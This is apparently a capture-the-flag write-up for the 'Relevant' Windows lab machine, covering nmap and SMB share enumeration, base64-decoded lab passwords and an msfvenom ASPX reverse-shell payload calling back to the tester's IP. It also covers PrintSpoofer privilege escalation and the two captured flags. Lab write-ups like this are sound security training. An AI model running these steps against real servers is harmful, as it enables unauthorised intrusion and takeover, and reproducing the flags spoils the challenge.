# Relevant
###### tags: `vulnerableMachine`
# Scope of work
- black box penetration test
- The client has asked that you secure two flags (no location provided) as proof of exploitation:
- User.txt
- Root.txt
---
- Any tools or techniques are permitted in this engagement
- Locate and note all vulnerabilities found
- Find and report ALL vulnerabilities (yes, there is more than one path to root)
Require format
- executive summary
- vulnerability
- exploitation assessment
- remediation suggestions
# Recon
```
python3 ../../deepScan.py 10.10.221.83
script is running. Author:meowhecker
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 11:59 CST
Nmap scan report for 10.10.221.83
Host is up (0.28s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-02-13T04:06:50+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2023-02-12T03:35:08
|_Not valid after: 2023-08-14T03:35:08
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2023-02-13T04:06:12+00:00
49663/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012|2008|10 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_10:1607
Aggressive OS guesses: Microsoft Windows Server 2016 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h36m00s, deviation: 3h34m41s, median: 0s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-02-13T04:06:15
|_ start_date: 2023-02-13T03:35:10
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T20:06:13-08:00
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 172.27 ms 10.17.0.1
2 ... 4
5 284.40 ms 10.10.221.83
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 451.86 seconds
```
potential vulnerable service
80 web
445 SMB server
49663 IIS Windows Server -> probably testing server
brute the file folder
---
```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.43.201
```
```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 14:10 CST
Nmap scan report for 10.10.43.201
Host is up (0.36s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.43.201\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.43.201\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.43.201\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.10.43.201\nt4wrksv:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 136.63 seconds
```
SMB login
```
smbclient //10.10.43.201/nt4wrksv
```
We could discover the SMB server have sensitive data
-> password.txt
```
get passwords.txt
```
```
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
```
Qm9iIC0gIVBAJCRXMHJEITEyMw== (Base64 Encode)
Decoded
https://www.asciitohex.com/
```
Bob - !P@$$W0rD!123
Bill - Juw4nnaM4n420696969!$$$
```
```
==> DIRECTORY: http://10.10.43.201:49663/aspnet_client/
--> Testing: http://10.10.43.201:49663/captcha
--> Testing: http://10.10.43.201:49663/carbuyaction
http://10.10.43.201:49663/aspnet_client/
```
## Initial Access
We can infer that the SMB directory is associated with the 49663 server, and that the directory actually exists.
Now, we could attempt to upload the web shell in order to gain initiall access.
http://10.10.43.201:49663/aspnet_client/
Based on URL path, we can infer that web application likely an ASP web server
ASP webShell
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.17.11.72 LPORT=443 -f aspx -o webShell.aspx
```
To trigger the web shell using the web browser.
## Privilege Escalation
---
It appears the current user has the SeImpersonatePrivilege token enabled, which means token impersonation could be used to escalate privileges.
Upload execute file
https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0
Executing the exploit
```
PrintSpoofer64.exe -i -c cmd
```
```
powershell.exe
```
THM{fdk4ka34vk346ksxfr21tg789ktf45}
---
THM{1fk5kf469devly1gl320zafgl345pv}
Sign in with Wallet
Connect another wallet